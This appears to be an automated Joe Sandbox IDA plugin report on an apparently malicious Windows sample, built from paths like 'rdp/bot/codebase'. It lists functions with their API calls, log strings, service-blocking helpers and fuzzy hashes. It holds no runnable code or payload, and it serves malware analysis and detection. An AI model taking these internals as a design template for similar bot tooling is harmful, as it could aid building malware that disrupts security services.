Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7ff775720000_vc71izwl68ub3txurufnpr09g6ni3.jbxd

Similarity

API ID: Heap$Free$BuildCriticalLibraryProcessSection$AddressAllocCopyDescriptorEnterFileLeaveLoadLocalProcSecurityTrusteeWithfflushfwritestrcmpstrlen
String ID: RtlAnsiStringToUnicodeString$RtlCopyMemory$RtlCreateServiceSid$RtlFreeUnicodeString$RtlZeroMemory$[E] (%s) -> BuildSecurityDescriptorW failed(gle=%lu)$[E] (%s) -> Memory allocation failed(size=%llu)$[E] (%s) -> RtlAnsiStringToUnicodeString failed(res=%08lx)$[E] (%s) -> RtlCreateServiceSid failed(res=%08lx)$[I] (%s) -> Done(svc_name=%s)$block_svc$mem_alloc$ntdll.dll$svc
API String ID: 3039259412-1782951725
Opcode ID: 01bd502358aa155a117c52bb5c5ca10456543c715832b3d2c21d1eaa9214cc1f
Instruction ID: 9cbe41ea9b17d8d6c00c4b9c039df24f5fdc3b5044f1503d11110eb2e780690f
Opcode Fuzzy Hash: 01bd502358aa155a117c52bb5c5ca10456543c715832b3d2c21d1eaa9214cc1f
Instruction Fuzzy Hash: BCD14D22A3C78381FB60AB01E4803A9B760FF8DB54FD44035DA8D46795DE7DE985C7A1

Function 00007FF77572433B Relevance: 31.6, APIs: 8, Strings: 10, Instructions: 133
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

fopen.MSVCRT ref: 00007FF775724363
_errno.MSVCRT ref: 00007FF77572444F
_errno.MSVCRT ref: 00007FF775724470
fwrite.MSVCRT ref: 00007FF7757244E4

Strings

[I] (%s) -> Done(path=%s,mode=%s,buf_sz=%llu), xrefs: 00007FF7757245C4
[E] (%s) -> Failed(path=%s,mode=%s,err=%08x), xrefs: 00007FF7757243CC
(path != NULL), xrefs: 00007FF7757243F4
(mode != NULL), xrefs: 00007FF775724424
[E] (%s) -> fwrite failed(path=%s,mode=%s,errno=%d), xrefs: 00007FF775724514
C:/Projects/rdp/bot/codebase/fs.c, xrefs: 00007FF7757243ED, 00007FF77572441D
[E] (%s) -> Assertation failed: %s, file %s, line %d, xrefs: 00007FF775724402, 00007FF775724432
NULL, xrefs: 00007FF77572459A, 00007FF7757245A6
fs_file_write, xrefs: 00007FF7757243C5, 00007FF7757243FB, 00007FF77572442B, 00007FF77572445D, 00007FF77572450D, 00007FF7757245BD
[E] (%s) -> fopen failed(path=%s,mode=%s,errno=%d), xrefs: 00007FF775724464

Memory Dump Source

Source File: 00000006.00000002.2059824023.00007FF775721000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF775720000, based on PE: true

Associated: 00000006.00000002.2059807489.00007FF775720000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.2059845940.00007FF775731000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.2059860560.00007FF775732000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.2059876720.00007FF77573A000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.2059889536.00007FF77573C000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.2059905414.00007FF77573F000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7ff775720000_vc71izwl68ub3txurufnpr09g6ni3.jbxd

Similarity

API ID: _errno$fopenfwrite
String ID: (mode != NULL)$(path != NULL)$C:/Projects/rdp/bot/codebase/fs.c$NULL$[E] (%s) -> Assertation failed: %s, file %s, line %d$[E] (%s) -> Failed(path=%s,mode=%s,err=%08x)$[E] (%s) -> fopen failed(path=%s,mode=%s,errno=%d)$[E] (%s) -> fwrite failed(path=%s,mode=%s,errno=%d)$[I] (%s) -> Done(path=%s,mode=%s,buf_sz=%llu)$fs_file_write
API String ID: 1336347884-544371937
Opcode ID: 63a72207a667d57a4e2fcc2606be0a732238c3333479fe985393a82e7d73d70b
Instruction ID: 3474048d5330b73c05cc3a940ca332f58c8481c2411dcb5e2d41d35b74ab8445
Opcode Fuzzy Hash: 63a72207a667d57a4e2fcc2606be0a732238c3333479fe985393a82e7d73d70b
Instruction Fuzzy Hash: 2F518163E3868786FA20BB55D9412B8A362FF48FA5FD84136D90D47291DE3CE546C3A0

Function 00007FF77572168C Relevance: 29.9, APIs: 8, Strings: 9, Instructions: 139
stringfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

InitializeCriticalSectionAndSpinCount.KERNEL32 ref: 00007FF7757216AC
GetLastError.KERNEL32 ref: 00007FF7757217E0

Part of subcall function 00007FF7757219C0: GetModuleHandleExA.KERNEL32 ref: 00007FF7757219DE

strlen.MSVCRT ref: 00007FF7757216FE
strlen.MSVCRT ref: 00007FF77572171A
strcat.MSVCRT ref: 00007FF775721735
strlen.MSVCRT ref: 00007FF77572173D
strlen.MSVCRT ref: 00007FF775721752
fopen.MSVCRT ref: 00007FF775721778

Strings

[I] (%s) -> %s, xrefs: 00007FF77572192B
[I] (%s) -> Log open success(flog_path=%s), xrefs: 00007FF7757217A5
Done, xrefs: 00007FF77572191D
wfpblk.l, xrefs: 00007FF77572175A
debug_init, xrefs: 00007FF77572179E, 00007FF7757217C3, 00007FF7757217EB, 00007FF7757218B0, 00007FF775721924
[E] (%s) -> Log open failed(flog_path=%s), xrefs: 00007FF7757218B7
[E] (%s) -> Failed(err=%08x), xrefs: 00007FF7757217CA
log, xrefs: 00007FF775721767
[E] (%s) -> InitializeCriticalSectionAndSpinCount(log_cs) failed(gle=%lu), xrefs: 00007FF7757217F2

Memory Dump Source

Source File: 00000006.00000002.2059824023.00007FF775721000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF775720000, based on PE: true

Associated: 00000006.00000002.2059807489.00007FF775720000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.2059845940.00007FF775731000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.2059860560.00007FF775732000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.2059876720.00007FF77573A000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.2059889536.00007FF77573C000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.2059905414.00007FF77573F000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7ff775720000_vc71izwl68ub3txurufnpr09g6ni3.jbxd

Similarity

API ID: strlen$CountCriticalErrorHandleInitializeLastModuleSectionSpinfopenstrcat
String ID: Done$[E] (%s) -> Failed(err=%08x)$[E] (%s) -> InitializeCriticalSectionAndSpinCount(log_cs) failed(gle=%lu)$[E] (%s) -> Log open failed(flog_path=%s)$[I] (%s) -> %s$[I] (%s) -> Log open success(flog_path=%s)$debug_init$log$wfpblk.l
API String ID: 3395718042-2291025694
Opcode ID: 0c6137ecaf56a976e39702cb80bce37edb64c5d5fd7c245d775e8e5e4a3d302b
Instruction ID: 4fff6320c060c7f47d1108a912c854acee30e1a3222eac5e1b882a152c7c3d9d
Opcode Fuzzy Hash: 0c6137ecaf56a976e39702cb80bce37edb64c5d5fd7c245d775e8e5e4a3d302b
Instruction Fuzzy Hash: 20512C63E3C78785F620BB51A8813B89265FF5CF64FD04132C90E067A2DE6DA945C3E1

Function 00007FF775725E6F Relevance: 26.4, APIs: 5, Strings: 10, Instructions: 199
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateFileA.KERNEL32 ref: 00007FF775725EC7
LockFileEx.KERNEL32 ref: 00007FF775725F00
GetLastError.KERNEL32 ref: 00007FF775725FD5
GetLastError.KERNEL32 ref: 00007FF7757260BA
CloseHandle.KERNEL32 ref: 00007FF77572622E

Strings

[E] (%s) -> LockFileEx failed(path=%s,gle=%lu), xrefs: 00007FF7757260CF
fs_file_lock, xrefs: 00007FF775725F54, 00007FF775725F88, 00007FF775725FB8, 00007FF775725FE3, 00007FF7757260C8, 00007FF77572624B
(path != NULL), xrefs: 00007FF775725F81
[E] (%s) -> CreateFileA failed(path=%s,gle=%lu), xrefs: 00007FF775725FEA
[E] (%s) -> Failed(path=%s,err=%08x), xrefs: 00007FF775725F5B
[I] (%s) -> Done(path=%s,lock=%p), xrefs: 00007FF775726252
C:/Projects/rdp/bot/codebase/fs.c, xrefs: 00007FF775725F7A, 00007FF775725FAA
[E] (%s) -> Assertation failed: %s, file %s, line %d, xrefs: 00007FF775725F8F, 00007FF775725FBF
NULL, xrefs: 00007FF775726239
(lock != NULL), xrefs: 00007FF775725FB1

Memory Dump Source

Source File: 00000006.00000002.2059824023.00007FF775721000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF775720000, based on PE: true

Associated: 00000006.00000002.2059807489.00007FF775720000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.2059845940.00007FF775731000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.2059860560.00007FF775732000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.2059876720.00007FF77573A000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.2059889536.00007FF77573C000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.2059905414.00007FF77573F000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7ff775720000_vc71izwl68ub3txurufnpr09g6ni3.jbxd

Similarity

API ID: ErrorFileLast$CloseCreateHandleLock
String ID: (lock != NULL)$(path != NULL)$C:/Projects/rdp/bot/codebase/fs.c$NULL$[E] (%s) -> Assertation failed: %s, file %s, line %d$[E] (%s) -> CreateFileA failed(path=%s,gle=%lu)$[E] (%s) -> Failed(path=%s,err=%08x)$[E] (%s) -> LockFileEx failed(path=%s,gle=%lu)$[I] (%s) -> Done(path=%s,lock=%p)$fs_file_lock
API String ID: 2747014929-530486279
Opcode ID: db00cb17437c5ff3fe8cc15a43f8113af3fe9d2b3f4d37739a65c9d18e836ee3
Instruction ID: fdac930f0b7a5e0a5b362580745428306d241802855e7c14cf932fe850ca2612
Opcode Fuzzy Hash: db00cb17437c5ff3fe8cc15a43f8113af3fe9d2b3f4d37739a65c9d18e836ee3
Instruction Fuzzy Hash: AD816452D3C38B81FA347B44A844778B260DF08F64FD49133D96D0B6D1EE6DA98593E2

Function 00007FF7757297F2 Relevance: 25.7, APIs: 7, Strings: 10, Instructions: 241
memorystringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetProcessHeap.KERNEL32 ref: 00007FF77572983D
HeapFree.KERNEL32 ref: 00007FF77572984E

Part of subcall function 00007FF7757245D5: fopen.MSVCRT ref: 00007FF77572461A
Part of subcall function 00007FF7757245D5: fseek.MSVCRT ref: 00007FF775724639
Part of subcall function 00007FF7757245D5: _errno.MSVCRT ref: 00007FF77572464D
Part of subcall function 00007FF7757245D5: _errno.MSVCRT ref: 00007FF775724668

GetProcessHeap.KERNEL32 ref: 00007FF77572997A
HeapAlloc.KERNEL32 ref: 00007FF77572998B
strncpy.MSVCRT ref: 00007FF775729ACC
strncpy.MSVCRT ref: 00007FF775729AE3
strncpy.MSVCRT ref: 00007FF775729B42

Part of subcall function 00007FF7757214E2: fwrite.MSVCRT ref: 00007FF77572158E
Part of subcall function 00007FF7757214E2: fflush.MSVCRT ref: 00007FF77572159A

Strings

mem_alloc, xrefs: 00007FF7757299D3
(path != NULL), xrefs: 00007FF7757298B4
ini_load, xrefs: 00007FF77572987F, 00007FF7757298BB, 00007FF775729BA1
5, xrefs: 00007FF7757298A5
[I] (%s) -> Done(path=%s), xrefs: 00007FF775729BA8
NULL, xrefs: 00007FF775729B92
[E] (%s) -> Memory allocation failed(size=%llu), xrefs: 00007FF7757299DA
[E] (%s) -> Assertation failed: %s, file %s, line %d, xrefs: 00007FF7757298C2
C:/Projects/rdp/bot/codebase/ini.c, xrefs: 00007FF7757298AD
[E] (%s) -> Failed(path=%s,err=%08x), xrefs: 00007FF775729886

Memory Dump Source

Source File: 00000006.00000002.2059824023.00007FF775721000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF775720000, based on PE: true

Associated: 00000006.00000002.2059807489.00007FF775720000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.2059845940.00007FF775731000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.2059860560.00007FF775732000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.2059876720.00007FF77573A000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.2059889536.00007FF77573C000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.2059905414.00007FF77573F000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7ff775720000_vc71izwl68ub3txurufnpr09g6ni3.jbxd

Similarity

API ID: Heap$strncpy$Process_errno$AllocFreefflushfopenfseekfwrite
String ID: (path != NULL)$5$C:/Projects/rdp/bot/codebase/ini.c$NULL$[E] (%s) -> Assertation failed: %s, file %s, line %d$[E] (%s) -> Failed(path=%s,err=%08x)$[E] (%s) -> Memory allocation failed(size=%llu)$[I] (%s) -> Done(path=%s)$ini_load$mem_alloc
API String ID: 1423203057-2746879330
Opcode ID: c4a5d119b8e46db3d6d484353cd613a654445c2d338f2979c9958e34502116e4
Instruction ID: 79158fbff9acfc0573b4fcbc5ea5cc2bb68f1730400597839d8745dfef2ca5b8
Opcode Fuzzy Hash: c4a5d119b8e46db3d6d484353cd613a654445c2d338f2979c9958e34502116e4
Instruction Fuzzy Hash: 87A1A263A3D68681EA20AB05E4447B9A771EF48F94FCC4032DD8D47785DE6CE585C3A0

Function 00007FF775729181 Relevance: 15.9, APIs: 7, Strings: 2, Instructions: 111
memorystringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

strlen.MSVCRT ref: 00007FF775728EEF
GetProcessHeap.KERNEL32 ref: 00007FF775728F6B
HeapAlloc.KERNEL32 ref: 00007FF775728F7C
BuildTrusteeWithSidW.ADVAPI32 ref: 00007FF775729010
BuildSecurityDescriptorW.ADVAPI32 ref: 00007FF77572905D
GetProcessHeap.KERNEL32 ref: 00007FF7757290F2
HeapFree.KERNEL32 ref: 00007FF775729103

Strings

block_svc, xrefs: 00007FF775729070
[E] (%s) -> BuildSecurityDescriptorW failed(gle=%lu), xrefs: 00007FF775729077

Memory Dump Source

Source File: 00000006.00000002.2059824023.00007FF775721000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF775720000, based on PE: true

Associated: 00000006.00000002.2059807489.00007FF775720000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.2059845940.00007FF775731000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.2059860560.00007FF775732000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.2059876720.00007FF77573A000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.2059889536.00007FF77573C000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.2059905414.00007FF77573F000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7ff775720000_vc71izwl68ub3txurufnpr09g6ni3.jbxd

Similarity

API ID: Heap$BuildProcess$AllocDescriptorFreeSecurityTrusteeWithstrlen
String ID: [E] (%s) -> BuildSecurityDescriptorW failed(gle=%lu)$block_svc
API String ID: 493744553-3317923414
Opcode ID: 28ad85c4949268e3a4ef3da6e723452246f6a5b39becbd9d33f0bbc3e033489c
Instruction ID: 6f3e4f6a41456a249751ccf1d793553ed46719b096b50e47cbef5fa5e6fafdc8
Opcode Fuzzy Hash: 28ad85c4949268e3a4ef3da6e723452246f6a5b39becbd9d33f0bbc3e033489c
Instruction Fuzzy Hash: AB518F3263CBC285E7709B11E4443AAB760FB88B54F804135DA8C87B98EF7ED549CB91

Function 00007FF77572918B Relevance: 15.9, APIs: 7, Strings: 2, Instructions: 111
memorystringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

strlen.MSVCRT ref: 00007FF775728EEF
GetProcessHeap.KERNEL32 ref: 00007FF775728F6B
HeapAlloc.KERNEL32 ref: 00007FF775728F7C
BuildTrusteeWithSidW.ADVAPI32 ref: 00007FF775729010
BuildSecurityDescriptorW.ADVAPI32 ref: 00007FF77572905D
GetProcessHeap.KERNEL32 ref: 00007FF7757290F2
HeapFree.KERNEL32 ref: 00007FF775729103

Strings

block_svc, xrefs: 00007FF775729070
[E] (%s) -> BuildSecurityDescriptorW failed(gle=%lu), xrefs: 00007FF775729077

Memory Dump Source

Source File: 00000006.00000002.2059824023.00007FF775721000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF775720000, based on PE: true

Associated: 00000006.00000002.2059807489.00007FF775720000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.2059845940.00007FF775731000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.2059860560.00007FF775732000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.2059876720.00007FF77573A000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.2059889536.00007FF77573C000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.2059905414.00007FF77573F000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7ff775720000_vc71izwl68ub3txurufnpr09g6ni3.jbxd

Similarity

API ID: Heap$BuildProcess$AllocDescriptorFreeSecurityTrusteeWithstrlen
String ID: [E] (%s) -> BuildSecurityDescriptorW failed(gle=%lu)$block_svc
API String ID: 493744553-3317923414
Opcode ID: 811c73c2c255be6a266979c2ff7e8de6f342bbf2b98cf4093f3602435aca306e
Instruction ID: 102859af8c13ebdb38cdbb6f26cec7333b5d6591606db7f0c3c8c47eaaebf265
Opcode Fuzzy Hash: 811c73c2c255be6a266979c2ff7e8de6f342bbf2b98cf4093f3602435aca306e
Instruction Fuzzy Hash: 41518F3263CBC285E7709B11E4443AAB760FB88B54F804135DA8C87B99EF7ED549CB91

Function 00007FF775729195 Relevance: 15.9, APIs: 7, Strings: 2, Instructions: 111
memorystringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

strlen.MSVCRT ref: 00007FF775728EEF
GetProcessHeap.KERNEL32 ref: 00007FF775728F6B
HeapAlloc.KERNEL32 ref: 00007FF775728F7C
BuildTrusteeWithSidW.ADVAPI32 ref: 00007FF775729010
BuildSecurityDescriptorW.ADVAPI32 ref: 00007FF77572905D
GetProcessHeap.KERNEL32 ref: 00007FF7757290F2
HeapFree.KERNEL32 ref: 00007FF775729103

Strings

block_svc, xrefs: 00007FF775729070
[E] (%s) -> BuildSecurityDescriptorW failed(gle=%lu), xrefs: 00007FF775729077

Memory Dump Source

Source File: 00000006.00000002.2059824023.00007FF775721000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF775720000, based on PE: true

Associated: 00000006.00000002.2059807489.00007FF775720000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.2059845940.00007FF775731000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.2059860560.00007FF775732000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.2059876720.00007FF77573A000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.2059889536.00007FF77573C000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.2059905414.00007FF77573F000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7ff775720000_vc71izwl68ub3txurufnpr09g6ni3.jbxd

Similarity

API ID: Heap$BuildProcess$AllocDescriptorFreeSecurityTrusteeWithstrlen
String ID: [E] (%s) -> BuildSecurityDescriptorW failed(gle=%lu)$block_svc
API String ID: 493744553-3317923414
Opcode ID: bf0049cc36aa2b87156958a37f5100f470e96f61e41f2cae54f4d89468e99936
Instruction ID: c9c4b1b90d6caa3d81a261dcd968fb8e867bacbdfbae152599450a2ff76112c0
Opcode Fuzzy Hash: bf0049cc36aa2b87156958a37f5100f470e96f61e41f2cae54f4d89468e99936
Instruction Fuzzy Hash: 4651703263CBC285E7709B11E4443AAB760FB88B54F804135DA8C87B98EF7DD549CB91

Function 00007FF775729D40 Relevance: 15.1, APIs: 1, Strings: 9, Instructions: 97
stringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

strcmp.MSVCRT ref: 00007FF775729E2C

Strings

(name != NULL), xrefs: 00007FF775729DB5
ini_get_var, xrefs: 00007FF775729D89, 00007FF775729DBC, 00007FF775729DEF, 00007FF775729E56, 00007FF775729E9E
[D] (%s) -> Done(sec=%s,name=%s,value=%s), xrefs: 00007FF775729E5D
NULL, xrefs: 00007FF775729EBE, 00007FF775729EC7
[E] (%s) -> Assertation failed: %s, file %s, line %d, xrefs: 00007FF775729D90, 00007FF775729DC3, 00007FF775729DF6
C:/Projects/rdp/bot/codebase/ini.c, xrefs: 00007FF775729D7B, 00007FF775729DAE, 00007FF775729DE1
(var != NULL), xrefs: 00007FF775729DE8
(sec != NULL), xrefs: 00007FF775729D82
[W] (%s) -> Failed(sec=%s,name=%s,err=%08x), xrefs: 00007FF775729EA5

Memory Dump Source

Source File: 00000006.00000002.2059824023.00007FF775721000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF775720000, based on PE: true

Associated: 00000006.00000002.2059807489.00007FF775720000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.2059845940.00007FF775731000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.2059860560.00007FF775732000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.2059876720.00007FF77573A000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.2059889536.00007FF77573C000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.2059905414.00007FF77573F000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7ff775720000_vc71izwl68ub3txurufnpr09g6ni3.jbxd

Similarity

API ID: strcmp
String ID: (name != NULL)$(sec != NULL)$(var != NULL)$C:/Projects/rdp/bot/codebase/ini.c$NULL$[D] (%s) -> Done(sec=%s,name=%s,value=%s)$[E] (%s) -> Assertation failed: %s, file %s, line %d$[W] (%s) -> Failed(sec=%s,name=%s,err=%08x)$ini_get_var
API String ID: 1004003707-3780280517
Opcode ID: 73da1e0966c3561dd717aab4f139a3398c39c780c5d8b23f88eacfb16f54bf38
Instruction ID: f13f75907180343ba0aedb897f19438c610a7dbce810494eabdff42439530eac
Opcode Fuzzy Hash: 73da1e0966c3561dd717aab4f139a3398c39c780c5d8b23f88eacfb16f54bf38
Instruction Fuzzy Hash: 8D41F8B3E3868791EB60AB40E8407F4A760FF48B58FD84136DA4D46595DF7CA689C3A0

Function 00007FF775729BB9 Relevance: 15.1, APIs: 1, Strings: 9, Instructions: 90
stringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

strcmp.MSVCRT ref: 00007FF775729CAD

Strings

(name != NULL), xrefs: 00007FF775729C2E
NULL, xrefs: 00007FF775729D24
(ini != NULL), xrefs: 00007FF775729BFB
[E] (%s) -> Assertation failed: %s, file %s, line %d, xrefs: 00007FF775729C09, 00007FF775729C3C, 00007FF775729C6F
C:/Projects/rdp/bot/codebase/ini.c, xrefs: 00007FF775729BF4, 00007FF775729C27, 00007FF775729C5A
ini_get_sec, xrefs: 00007FF775729C02, 00007FF775729C35, 00007FF775729C68, 00007FF775729CC6, 00007FF775729D04
[D] (%s) -> Done(name=%s), xrefs: 00007FF775729CCD
[W] (%s) -> Failed(name=%s,err=%08x), xrefs: 00007FF775729D0B
(sec != NULL), xrefs: 00007FF775729C61

Memory Dump Source

Source File: 00000006.00000002.2059824023.00007FF775721000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF775720000, based on PE: true

Associated: 00000006.00000002.2059807489.00007FF775720000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.2059845940.00007FF775731000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.2059860560.00007FF775732000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.2059876720.00007FF77573A000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.2059889536.00007FF77573C000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.2059905414.00007FF77573F000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7ff775720000_vc71izwl68ub3txurufnpr09g6ni3.jbxd

Similarity

API ID: strcmp
String ID: (ini != NULL)$(name != NULL)$(sec != NULL)$C:/Projects/rdp/bot/codebase/ini.c$NULL$[D] (%s) -> Done(name=%s)$[E] (%s) -> Assertation failed: %s, file %s, line %d$[W] (%s) -> Failed(name=%s,err=%08x)$ini_get_sec
API String ID: 1004003707-386092548
Opcode ID: 44ee8d190fb84950133145d9770a66678910dea851f0071a126621abf7bb8b0c
Instruction ID: 0ccb1a98d09976873fc4fe8622ec495f12a6c209b6be513b97aabc6296400761
Opcode Fuzzy Hash: 44ee8d190fb84950133145d9770a66678910dea851f0071a126621abf7bb8b0c
Instruction Fuzzy Hash: 47413263A385C795FA20AB50E8407B4A7A0FF48B58FD84036D94D0A595DF7CA9C9D3E0

Function 00007FF77572A0F0 Relevance: 14.1, APIs: 3, Strings: 5, Instructions: 68
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_errno.MSVCRT ref: 00007FF77572A18A
_errno.MSVCRT ref: 00007FF77572A1A8
_errno.MSVCRT ref: 00007FF77572A1B4

Strings

[E] (%s) -> strtoul failed(sec_name=%s,var_name=%s,radix=%d,s=%s,errno=%d), xrefs: 00007FF77572A1DB
(value != NULL), xrefs: 00007FF77572A162
C:/Projects/rdp/bot/codebase/ini.c, xrefs: 00007FF77572A15B
[E] (%s) -> Assertation failed: %s, file %s, line %d, xrefs: 00007FF77572A170
ini_get_uint32, xrefs: 00007FF77572A169, 00007FF77572A1D4

Memory Dump Source

Source File: 00000006.00000002.2059824023.00007FF775721000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF775720000, based on PE: true

Associated: 00000006.00000002.2059807489.00007FF775720000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.2059845940.00007FF775731000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.2059860560.00007FF775732000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.2059876720.00007FF77573A000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.2059889536.00007FF77573C000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.2059905414.00007FF77573F000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7ff775720000_vc71izwl68ub3txurufnpr09g6ni3.jbxd

Similarity

API ID: _errno
String ID: (value != NULL)$C:/Projects/rdp/bot/codebase/ini.c$[E] (%s) -> Assertation failed: %s, file %s, line %d$[E] (%s) -> strtoul failed(sec_name=%s,var_name=%s,radix=%d,s=%s,errno=%d)$ini_get_uint32
API String ID: 2918714741-1670302297
Opcode ID: 48d8c4aec0c11063c26797bf0765ef4c66b22d52fb4a92b42e2fbd3b3769492f
Instruction ID: 01f42dc098a6b3ee798924f8336bb29fc473234c4c1c6b07a4f66498d72d5f86
Opcode Fuzzy Hash: 48d8c4aec0c11063c26797bf0765ef4c66b22d52fb4a92b42e2fbd3b3769492f
Instruction Fuzzy Hash: F9219163A3868696E721AF15EC40BAAB770FB48BA4FC44032EE4C47654DF7CD845C7A0

Function 00007FF7757214E2 Relevance: 12.3, APIs: 5, Strings: 2, Instructions: 91
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

fwrite.MSVCRT ref: 00007FF77572158E
fflush.MSVCRT ref: 00007FF77572159A
EnterCriticalSection.KERNEL32 ref: 00007FF7757215B3
LeaveCriticalSection.KERNEL32 ref: 00007FF7757215DB
CopyFileA.KERNEL32 ref: 00007FF775721638

Strings

1, xrefs: 00007FF775721622
., xrefs: 00007FF77572161D

Memory Dump Source

Source File: 00000006.00000002.2059824023.00007FF775721000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF775720000, based on PE: true

Associated: 00000006.00000002.2059807489.00007FF775720000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.2059845940.00007FF775731000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.2059860560.00007FF775732000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.2059876720.00007FF77573A000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.2059889536.00007FF77573C000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.2059905414.00007FF77573F000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7ff775720000_vc71izwl68ub3txurufnpr09g6ni3.jbxd

Similarity

API ID: CriticalSection$CopyEnterFileLeavefflushfwrite
String ID: .$1
